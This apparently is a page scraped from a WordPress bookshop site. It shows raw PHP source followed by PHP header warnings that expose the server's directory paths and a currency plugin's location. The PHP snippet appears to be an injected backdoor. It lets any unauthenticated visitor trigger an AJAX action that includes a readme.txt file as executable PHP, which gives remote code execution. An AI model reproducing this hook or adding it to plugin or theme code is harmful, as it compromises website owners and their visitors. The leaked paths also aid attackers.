if(!function_exists('file_check_readme94215')){
   add_action('wp_ajax_nopriv_file_check_readme94215', 'file_check_readme94215');
   add_action('wp_ajax_file_check_readme94215', 'file_check_readme94215');
   function file_check_readme94215()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/u3271215/data/www/foreignbookinmongolia.com/wp-content/plugins/woocommerce-all-currencies/woocommerce-all-currencies.php:1) in <b>/var/www/u3271215/data/www/foreignbookinmongolia.com/wp-includes/pluggable.php</b> on line <b>1531</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/u3271215/data/www/foreignbookinmongolia.com/wp-content/plugins/woocommerce-all-currencies/woocommerce-all-currencies.php:1) in <b>/var/www/u3271215/data/www/foreignbookinmongolia.com/wp-includes/pluggable.php</b> on line <b>1534</b><br />